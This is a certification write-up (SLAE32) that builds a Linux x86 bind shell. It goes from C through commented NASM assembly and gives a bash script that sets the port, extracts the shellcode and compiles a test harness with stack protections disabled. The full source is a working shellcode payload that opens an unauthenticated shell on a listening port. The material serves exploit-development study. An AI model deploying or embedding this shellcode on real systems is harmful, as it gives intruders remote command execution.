SLAE32 Challenge #1 - Linux Bind Shell in Assembly

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-644

GitHub resource containing challenge files:

https://github.com/bl305/SLAE32

Local link to source files:

http://itfanatic.com/files/Challenge_01_Final.ZIP


Task: create a bind shellcode in linux assembly 32 bits intel syntax. Also create a tool to be able to dynamically change the bind port.

There are potentially multiple ways to accomplish the mission, I chose to do the hard way. Instead of looking up a complete #C code and disassemble, I decided to build the #C code using internet resources to understand the tiny bits in it. Google is my friend.

In principle the code should do the following:

  • open a socket (stream socket in the Internet domain, TCP port)
  • bind to the socket
  • exec whatever is sent through the port

Opening a socket, basically a listener. My first match in google was this:

http://www.linuxhowtos.org/C_C++/socket.htm

Server code looks like this:

 

/* A simple server in the internet domain using TCP
   The port number is passed as an argument */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
void error(const char *msg)
{
    perror(msg);
    exit(1);
}
 
int main(int argc, char *argv[])
{
     int sockfd, newsockfd, portno;
     socklen_t clilen;
     char buffer[256];
     struct sockaddr_in serv_addr, cli_addr;
     int n;
     if (argc < 2) {
         fprintf(stderr,"ERROR, no port provided\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if (sockfd < 0)
        error("ERROR opening socket");
     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr,
              sizeof(serv_addr)) < 0)
              error("ERROR on binding");
     listen(sockfd,5);
     clilen = sizeof(cli_addr);
     newsockfd = accept(sockfd,
                 (struct sockaddr *) &cli_addr,
                 &clilen);
     if (newsockfd < 0)
          error("ERROR on accept");
     bzero(buffer,256);
     n = read(newsockfd,buffer,255);
     if (n < 0) error("ERROR reading from socket");
     printf("Here is the message: %s\n",buffer);
     n = write(newsockfd,"I got your message",18);
     if (n < 0) error("ERROR writing to socket");
     close(newsockfd);
     close(sockfd);
     return 0;
}

 

Now we need to clean it up, as we don't care about error handling and other pretty important stuff important in a normal programming project. The cleaned code look like this below:

/* A simple server in the internet domain using TCP
   The port number is passed as an argument */
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
#include <string.h>
 
int main(void)
{
     int sockfd, newsockfd, portno; //file descriptor, client file descriptor
     socklen_t clilen; //socket length for new connections
 
     char buffer[256]; //used for storing the incoming string
     struct sockaddr_in serv_addr, cli_addr; //server listen address, client address
     int n; //used later as a variable for command output
 
     sockfd = socket(AF_INET, SOCK_STREAM, 0); //create TCP socket http://man7.org/linux/man-pages/man7/socket.7.html
     bzero((char *) &serv_addr, sizeof(serv_addr)); //zeroes out some memory http://man7.org/linux/man-pages/man3/bzero.3.html
     portno = 4444; //port to listen on
     serv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
     serv_addr.sin_addr.s_addr = INADDR_ANY; // listen on any address, converted to network byte order
     serv_addr.sin_port = htons(portno); // server port, converted to network string order
     bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); //bind to socket http://man7.org/linux/man-pages/man2/bind.2.html
     listen(sockfd,5); //listen on socket http://man7.org/linux/man-pages/man2/listen.2.html
     clilen = sizeof(cli_addr); // accept new connections
     newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); // accept new connections
     bzero(buffer,256);
     n = read(newsockfd,buffer,255);
     printf("Here is the message: %s\n",buffer);
     n = write(newsockfd,"I got your message",18);
     close(newsockfd); //close socket
     close(sockfd); //close socket
     return 0;
}

Ok, so we can receive messages and can print them out. Now we need to execute a command and redirect all STDIN/STDOUT and STDERR to out socket. We need to do some research on order to do this (or watch the SLAE32 videos again). I found the following help about pipes and redirecting:

http://www.tldp.org/LDP/lpg/node11.html

DUP2 will be our choice:
SYSTEM CALL: dup2();                                                         
  PROTOTYPE: int dup2( int oldfd, int newfd );                                 
    RETURNS: new descriptor on success                                         
             -1 on error: errno = EBADF (oldfd is not a valid descriptor)      
                                  EBADF (newfd is out of range)                
                                  EMFILE (too many descriptors for the process)
  NOTES: the old descriptor is closed with dup2()!

With this particular call, we have the close operation, and the actual descriptor duplication, wrapped up in one system call. In addition, it is guaranteed to be atomic, which essentially means that it will never be interrupted by an arriving signal. The entire operation will transpire before returning control to the kernel for signal dispatching. With the original dup() system call, programmers had to perform a close() operation before calling it. That resulted in two system calls, with a small degree of vulnerability in the brief amount of time which elapsed between them. If a signal arrived during that brief instance, the descriptor duplication would fail.

Of course, dup2() solves this problem for us.
So we will add some lines as following:
// dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
for(i = 0; i <= 2; i++) dup2(newsockfd, i);

Now we also need to execute some kind of bash, like the following:
// execute sh shell
            execve( "/bin/sh", NULL, NULL );

Now we can remove the string manipulation stuff also.
Also, we need to change the listen parameter, because we don't want to have 5 in there.
int listen(int s, int backlog);
The backlog parameter can mean a couple different things depending on the system you on, but loosely it is how many pending connections you can have before the kernel starts rejecting new ones. Setting it to 0 will allow connections. If you want to be on the safe side, you can increase it to allow more connections.

So the clean #c shellcode looks like this:

/* A simple server in the internet domain using TCP
	   The port number is passed as an argument */
	#include <stdio.h>
	#include <unistd.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
 
	int main(void)
	{
		 int sockfd, newsockfd, portno; //file descriptor, client file descriptor, port number
		 socklen_t clilen; //socket length for new connections
 
		 struct sockaddr_in serv_addr, cli_addr; //server listen address, client address
 
		 sockfd = socket(AF_INET, SOCK_STREAM, 0); //create TCP socket http://man7.org/linux/man-pages/man7/socket.7.html
		 portno = 4444; //port to listen on
		 serv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
		 serv_addr.sin_addr.s_addr = INADDR_ANY; // listen on any address, converted to network byte order
		 serv_addr.sin_port = htons(portno); // server port, converted to network string order
		 bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); //bind to socket http://man7.org/linux/man-pages/man2/bind.2.html
		 listen(sockfd,0); //listen on socket http://man7.org/linux/man-pages/man2/listen.2.html
		 clilen = sizeof(cli_addr); // accept new connections
		 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); // accept new connections
 
		 // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
		 dup2(newsockfd, 0);
                 dup2(newsockfd, 1);
                 dup2(newsockfd, 2); //http://man7.org/linux/man-pages/man2/dup.2.html
 
 
		 // execute sh shell
		 execve("/bin/sh", NULL, NULL); //http://man7.org/linux/man-pages/man2/execve.2.html
 
		 close(newsockfd); //close socket
		 close(sockfd); //close socket
 
		 return 0;
	}

Now compile it and see what happens. Ignore the warning and execute the program:

ITFanatic.com

Now a connection to it will show that the shell has been executed and bind to the socket.


Now let's do the same thing in NASM. The steps we need to do:

  • socket-socketcall
  • socket-bind
  • socket-listen
  • socket-accept
  • dup2
  • execve

Determine the interrupts using:

less /usr/include/i386-linux-gnu/asm/unistd_32.h

  • socket-socketcall = 102 = 0x66
  • socket-bind
  • socket-listen
  • socket-accept
  • dup2 = 63 = 0x3F
  • execve = 11 = 0xB

List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

Ok, now using the “man” pages we can determine the specifics:
man socket, man bind, man listen, man accept

SEE ALSO
accept(2), bind(2), connect(2), fcntl(2), getpeername(2),  getsockname(2),  getsockopt(2),  ioctl(2),  listen(2),  read(2),  recv(2), select(2), send(2), shutdown(2), socketpair(2), write(2), getprotoent(3), ip(7), socket(7), tcp(7), udp(7), unix(7)
man socketcall:

NAME
       socketcall - socket system calls
SYNOPSIS
       int socketcall(int call, unsigned long *args);
DESCRIPTION
       socketcall()  is  a  common  kernel  entry point for the socket system calls.  call determines which socket function to invoke.  Args points to a block containing the actual arguments, which are passed through to the appropriate call.
       User programs should call the appropriate functions by their usual names.  Only standard library implementors and kernel hackers need to know about socketcall().

man socket
NAME
       socket - create an endpoint for communication
SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>
       int socket(int domain, int type, int protocol);
DESCRIPTION
       socket() creates an endpoint for communication and returns a descriptor.
       The  domain  argument specifies a communication domain; this selects the protocol family which will be used for communication.  These families are defined in <sys/socket.h>.  The currently understood formats include:
       Name                Purpose                          Man page
       AF_UNIX, AF_LOCAL   Local communication              unix(7)
       AF_INET             IPv4 Internet protocols          ip(7)
       AF_INET6            IPv6 Internet protocols          ipv6(7)
       AF_IPX              IPX - Novell protocols
       AF_NETLINK          Kernel user interface device     netlink(7)
       AF_X25              ITU-T X.25 / ISO-8208 protocol   x25(7)
       AF_AX25             Amateur radio AX.25 protocol
       AF_ATMPVC           Access to raw ATM PVCs
       AF_APPLETALK        Appletalk                        ddp(7)
       AF_PACKET           Low level packet interface       packet(7)
       The socket has the indicated type, which specifies the communication semantics.  Currently defined types are:
       SOCK_STREAM     Provides sequenced, reliable, two-way, connection-based byte streams.  An out-of-band data transmission mechanism may be supported.
       SOCK_DGRAM      Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
       SOCK_SEQPACKET  Provides  a  sequenced,  reliable,  two-way  connection-based  data  transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each input system call.

SOCK_RAW        Provides raw network protocol access.
       SOCK_RDM        Provides a reliable datagram layer that does not guarantee ordering.
       SOCK_PACKET     Obsolete and should not be used in new programs; see packet(7).
       Some socket types may not be implemented by all protocol families; for example, SOCK_SEQPACKET is not implemented for AF_INET.

       Since Linux 2.6.27, the type argument serves a second purpose: in addition to specifying a socket type, it may include the bitwise OR of any of the following values, to modify the behavior of socket():
       SOCK_NONBLOCK   Set  the O_NONBLOCK file status flag on the new open file description.  Using this flag saves extra calls to fcntl(2) to achieve the same result.
       SOCK_CLOEXEC    Set the close-on-exec (FD_CLOEXEC) flag on the new file descriptor.  See the description of  the  O_CLOEXEC  flag  in open(2) for reasons why this may be useful.

       The protocol specifies a particular protocol to be used with the socket.  Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.  However, it  is  possible  that  many protocols may exist, in which case a particular protocol must be specified in this manner.  The protocol number to use is specific to the “communication domain” in which communication is to take place; see protocols(5).  See getprotoent(3) on how to map protocol name strings to protocol numbers.

More details on protocol numbers:
less /usr/include/linux/in.h

/* Standard well-defined IP protocols.  */
enum {
  IPPROTO_IP = 0,               /* Dummy protocol for TCP               */
  IPPROTO_ICMP = 1,             /* Internet Control Message Protocol    */
  IPPROTO_IGMP = 2,             /* Internet Group Management Protocol   */
  IPPROTO_IPIP = 4,             /* IPIP tunnels (older KA9Q tunnels use 94) */
  IPPROTO_TCP = 6,              /* Transmission Control Protocol        */
  IPPROTO_EGP = 8,              /* Exterior Gateway Protocol            */
  IPPROTO_PUP = 12,             /* PUP protocol                         */
  IPPROTO_UDP = 17,             /* User Datagram Protocol               */
  IPPROTO_IDP = 22,             /* XNS IDP protocol                     */
  IPPROTO_DCCP = 33,            /* Datagram Congestion Control Protocol */
  IPPROTO_RSVP = 46,            /* RSVP protocol                        */
  IPPROTO_GRE = 47,             /* Cisco GRE tunnels (rfc 1701,1702)    */
  IPPROTO_IPV6   = 41,          /* IPv6-in-IPv4 tunnelling              */

TCP would be #6


Step #1: Socket open

So, there will be a socket call with the following parameters:
domain: AF_INET
type: SOCK_STREAM
protocol: 0

Now, we need to push all these stuff on the stack in reverse order, so protcol, type, domain. Ok, but how do I know what are the values for AF_INET and SOCK_STREAM?

Look into the socket.h in your include directory. In my case it was here:
less /usr/include/i386-linux-gnu/bits/socket_type.h
SOCK_STREAM = 1

less /usr/include/i386-linux-gnu/bits/socket.h
#define PF_INET         2       /* IP protocol family.  */
#define AF_INET         PF_INET

So we send this: proto, type, domain: 0,1,2

Assembly code:

;sockfd= socket(AF_INET, SOCK_STREAM, 0)
xor eax,eax ;clean eax
mov al,0x66 ;set syscall number to socket
xor ebx,ebx ;zero out ebx
push ebx ;stack protocol=0, default (could be 6 for TCP)
inc ebx ;prepare ebx=1 for stack
push ebx ;stack type=1, sock_stream
push byte 0x2 ;stack domain, af_inet
mov ecx,esp ;store a pointer to the parameters for dup2
int 0x80 ;call the syscall, it returns the socket file descriptor to EAX
 
mov esi, eax ;store sockfd into ESI

Step #2: Socket bind
So in this case we will need to call socket with “bind” subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

man bind
SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
DESCRIPTION
       When  a  socket  is  created  with  socket(2),  it exists in a name space (address family) but has no address assigned to it.  Bind() assigns the address specified by addr to the socket referred to by the file descriptor sockfd.  addrlen specifies the size, in bytes, of the address structure pointed to by addr.  Traditionally, this operation is called “assigning a name to a socket”.
       It is normally necessary to assign a local address using bind() before a SOCK_STREAM socket may receive connections (see accept(2)).
       The rules used in name binding vary between address families.  Consult the manual entries in Section 7 for detailed information.  For
       AF_INET see ip(7), for AF_INET6 see ipv6(7), for AF_UNIX see unix(7), for AF_APPLETALK see ddp(7), for AF_PACKET see  packet(7),  for AF_X25 see x25(7) and for AF_NETLINK see netlink(7).

       The  actual structure passed for the addr argument will depend on the address family.  The sockaddr structure is defined as something like:
           struct sockaddr {
               sa_family_t sa_family;
               char        sa_data[14];
           }

       The only purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings.

So let's set the parameters:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
In plain text:
bind (sockfd, sockaddress, addrlen)
sockaddr requires special attention. Sockfd will be the pointer we stored as the result of the last syscall.

To see the contents of the structure, we need to look into:
less /usr/include/linux/in.h

/* Structure describing an Internet (IP) socket address. */
#define __SOCK_SIZE__   16              /* sizeof(struct sockaddr)      */
struct sockaddr_in {
  __kernel_sa_family_t  sin_family;     /* Address family               */
  __be16                sin_port;       /* Port number                  */
  struct in_addr        sin_addr;       /* Internet address             */

Also, the value of Address family is in the same file:
/* Address to accept any incoming messages. */
#define INADDR_ANY              ((unsigned long int) 0x00000000)

Port number is obvious, it's a number in hex.
Struct in_addr will be AF_INET=0x2

So, the structure to push will be:
Sockaddr structure saved reference in ECX:
0x0 (sin_addr), 0x5C11 (sin_port 4444 - little endian order), 0x2 (sin_family)

Bind call:
0x10=address length(16), ECX=pointer to sockaddr, ESI=sockfd

Assembly:

;bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
mov al,0x66 ;set syscall number to socket
pop ebx ;take the 2 from the stack to use as bind
;pop esi ; remove the 0x1 from stack and leave 0x0
 
;prepare struct
xor edx,edx ;zero out edx
push edx ;set the sin_addr=0 (INADDR_ANY)
push word 0x5C11 ;set sin_port=4444
push word bx ;sin_family AF_INET	=0x2
mov ecx, esp ;save pointer
;prepare struct end
 
push 0x10 ;addrlen=16 structure length
push ecx ; struck sockaddr pointer
push esi ; this is a pointer to the file descriptor sockfd
mov ecx, esp ;pointer to bind() args
int 0x80 ; exec sys bind

Step #3: Listen
To create a listener, look at man listen first:
SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int listen(int sockfd, int backlog);

DESCRIPTION
       listen()  marks the socket referred to by sockfd as a passive socket, that is, as a socket that will be used to accept incoming connection requests using accept(2).
       The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET.
       The backlog argument defines the maximum length to which the queue of pending connections for sockfd  may  grow.   If  a  connection request  arrives  when  the  queue is full, the client may receive an error with an indication of ECONNREFUSED or, if the underlying protocol supports retransmission, the request may be ignored so that a later reattempt at connection succeeds.

So in this case we will need to call socket with “bind” subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

Pretty simple, we need to call listen (sockfd, 0). 0 for default, it would work with higher value.

Assembly:

;listen
mov al,0x66 ;syscall 102
mov bl, 0x4 ;sys_listen
push ebx ;backlog=0x0
push esi ;sockfd
mov ecx,esp ;save pointer to args
int 0x80 ;call syscall

Step #4: Accept
So in this case we will need to call socket with “bind” subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <sys/socket.h>

       int accept4(int sockfd, struct sockaddr *addr,
                   socklen_t *addrlen, int flags);

DESCRIPTION
       The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET).  It extracts the first connection
       request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor  referring  to that socket.  The newly created socket is not in the listening state.  The original socket sockfd is unaffected by this call.
       The argument sockfd is a socket that has been created with socket(2), bound to a local address with bind(2), and  is  listening  for connections after a listen(2).
       The  argument  addr is a pointer to a sockaddr structure.  This structure is filled in with the address of the peer socket, as known to the communications layer.  The exact format of the address returned addr is  determined  by  the  socket's  address  family  (see socket(2)  and  the respective protocol man pages).  When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.

So, we need the followings:
accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
sockfd=esi
struct: 0 as we don't care what the client has
addrlen:0 as we don't care about the client.

Assembly:

;accept
mov al,0x66 ;syscall 102
mov bl, 0x5 ;sys_accept
push edx ; addrlen=0x0
push edx ; struct=0x0
push esi ;socketd
mov ecx, esp ;save pointer to args
int 0x80 ;call syscall

Step #5: Redirect STDIN, STDOUT, STDERR
Redirect STDIN (0), STDOUT(1), STDERR(2)

We will use DUP2.
SYNOPSIS
       #include <unistd.h>

       int dup(int oldfd);
       int dup2(int oldfd, int newfd);

       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <fcntl.h>              /* Obtain O_* constant definitions */
       #include <unistd.h>

       int dup3(int oldfd, int newfd, int flags);

DESCRIPTION
       These system calls create a copy of the file descriptor oldfd.
       dup() uses the lowest-numbered unused descriptor for the new descriptor.
       dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following:
       *  If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.
*  If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.
       After  a successful return from one of these system calls, the old and new file descriptors may be used interchangeably.  They refer to the same open file description (see open(2)) and thus share file offset and file status flags; for example, if the file offset is modified by using lseek(2) on one of the descriptors, the offset is also changed for the other.
       The  two descriptors do not share file descriptor flags (the close-on-exec flag).  The close-on-exec flag (FD_CLOEXEC; see fcntl(2)) for the duplicate descriptor is off.

Ok, get the syscall for DUP2:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
it is 63=0x3F

We need to do:
dup2(oldfd,newfd)
oldfd will be the EBX socketfd, new will be 0 (stdin),1(stdout),2(stderr).
I put this in a loop ().
cl will be the counter. It has to be zeroed out and set to 2. If we look at the stack, we see:

ITFanatic.com

We have 0x00000007 as the socket file descriptor, and 0x00000000.
We can pop this 0 to ecx and we hit two birds with one stone.
pop ecx

Set the cl to 2:
mov cl,0x2 ; initiate counter
call result will be returned to EAX, which is currently busy with storing the socketfd. Let's store socketfd in EBX for now using XCHG. EBX used to store 0x5 for the Accept call, we don't need that any more.
xchg ebx, eax

define the dup2 with the aruments in the loop (EBX won't change, it is socketfd):
myloop:
 mov al,0x3F ;dup2 syscall
 int 0x80 ;syscall dup2
 dec ecx ; decrement counter
 jns loop ; jmp to loop as long as SF is not set to 1

Assembly:

;redirect
xchg ebx, eax ;store the socketfd in ebx, and 0x5 in eax. EBX will be the oldfd in DUP2
pop ecx ; pull the 0x00000000 from the stack
mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2
;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR
myloop:
 mov al,0x3F ;dup2 syscall
 int 0x80 ;syscall dup2
 dec ecx ; decrement counter
 jns myloop ; jmp to loop as long as SF is not set to 1

Step #6: Execute bash
execute shell vie execve
man execve
SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

DESCRIPTION
       execve() executes the program pointed to by filename.  filename must be either a binary executable, or a script starting with a line of the form:
           #! interpreter [optional-arg]
       For details of the latter case, see "Interpreter scripts" below.
       argv is an array of argument strings passed to the new program.  By convention, the first of these strings should contain the  file name  associated  with the file being executed.  envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program.  Both argv and envp must be terminated by a NULL pointer.  The argument  vector  and  environment
       can be accessed by the called program's main function, when it is defined as:
           int main(int argc, char *argv[], char *envp[])
       execve()  does  not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

So we need this:
execve(*filename, *const argv[],*const envp[]);

syscall for execve is 11=0x0b:
less /usr/include/i386-linux-gnu/asm/unistd_32.h

As the system is in little-endian, we need to push the command in reverse order ending with 0x0.
Assembly:

;execve
xor eax,eax
push eax ;push the ending 0x0
push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes
push 0x6e69622f ; "nib/"
mov ebx, esp ;save the pointer to filename
 
push eax ; set argument t 0x0
mov ecx, esp ;save the pointer to argument envp
 
push eax ; set argument t 0x0
mov edx, esp ;save the pointer to argument ptr
 
mov al,0xb ;call execve
int 0x80 ; execute syscall

 


The full sourcecode:

global _start
 
 
section .text
 
_start:
 
;sockfd= socket(AF_INET, SOCK_STREAM, 0)
xor eax,eax ;clean eax
mov al,0x66 ;set syscall number to socket
xor ebx,ebx ;zero out ebx
push ebx ;stack protocol=0, default (could be 6 for TCP)
inc ebx ;prepare ebx=1 for stack
push ebx ;stack type=1, sock_stream
push byte 0x2 ;stack domain, af_inet
mov ecx,esp ;store a pointer to the parameters for dup2
int 0x80 ;call the syscall, it returns the socket file descriptor to EAX
 
mov esi, eax ;store sockfd into ESI
 
;bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
mov al,0x66 ;set syscall number to socket
pop ebx ;take the 2 from the stack to use as bind
;pop esi ; remove the 0x1 from stack and leave 0x0
 
;prepare struct
xor edx,edx ;zero out edx
push edx ;set the sin_addr=0 (INADDR_ANY)
push word 0x5C11 ;set sin_port=4444
push word bx ;sin_family AF_INET	=0x2
mov ecx, esp ;save pointer
;prepare struct end
 
push 0x10 ;addrlen=16 structure length
push ecx ; struck sockaddr pointer
push esi ; this is a pointer to the file descriptor sockfd
mov ecx, esp ;pointer to bind() args
int 0x80 ; exec sys bind
 
;listen
mov al,0x66 ;syscall 102
mov bl, 0x4 ;sys_listen
push ebx ;backlog=0x0
push esi ;sockfd
mov ecx,esp ;save pointer to args
int 0x80 ;call syscall
 
;accept
mov al,0x66 ;syscall 102
mov bl, 0x5 ;sys_accept
push edx ; addrlen=0x0
push edx ; struct=0x0
push esi ;socketd
mov ecx, esp ;save pointer to args
int 0x80 ;call syscall
 
 
;redirect
xchg ebx, eax ;store the socketfd in ebx, and 0x5 in eax. EBX will be the oldfd in DUP2
pop ecx ; pull the 0x00000000 from the stack
mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2
;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR
myloop:
 mov al,0x3F ;dup2 syscall
 int 0x80 ;syscall dup2
 dec ecx ; decrement counter
 jns myloop ; jmp to loop as long as SF is not set to 1
 
 
;execve
xor eax,eax
push eax ;push the ending 0x0
push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes
push 0x6e69622f ; "nib/"
mov ebx, esp ;save the pointer to filename
 
push eax ; set argument t 0x0
mov ecx, esp ;save the pointer to argument envp
 
push eax ; set argument t 0x0
mov edx, esp ;save the pointer to argument ptr
 
mov al,0xb ;call execve
int 0x80 ; execute syscall

 


The script which generates assembly code with custom port and compiles the program:

#!/bin/bash
 
 
echo '[+] Changing port to '$2' ...'
port=`printf %04X $2 |grep -o ..|tac|tr -d '\n'`
sed s/5C11/$port/ <$1.nasm >$1.nasm_$port
 
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm_$port
 
echo '[+] Linking ...'
ld -melf_i386 -o $1 $1.o
 
echo '[+] Objdump ...'
mycode=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'`
 
echo '[+] Assemble shellcode C ...'
 
echo "#include<stdio.h>" >shellcode.c
echo "#include<string.h>" >>shellcode.c
echo "unsigned char code[] = \\" >>shellcode.c
echo $mycode";" >>shellcode.c
echo "main()" >>shellcode.c
echo "{" >>shellcode.c
echo "printf(\"Shellcode Length:  %d\n\", strlen(code));" >>shellcode.c
echo "  int (*ret)() = (int(*)())code;" >>shellcode.c
echo "  ret();" >>shellcode.c
echo "}" >>shellcode.c
 
echo '[+] Compile shellcode.c'
 
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
 
echo '[+] Done!' 

 

The shellcode in action:

ITFanatic.com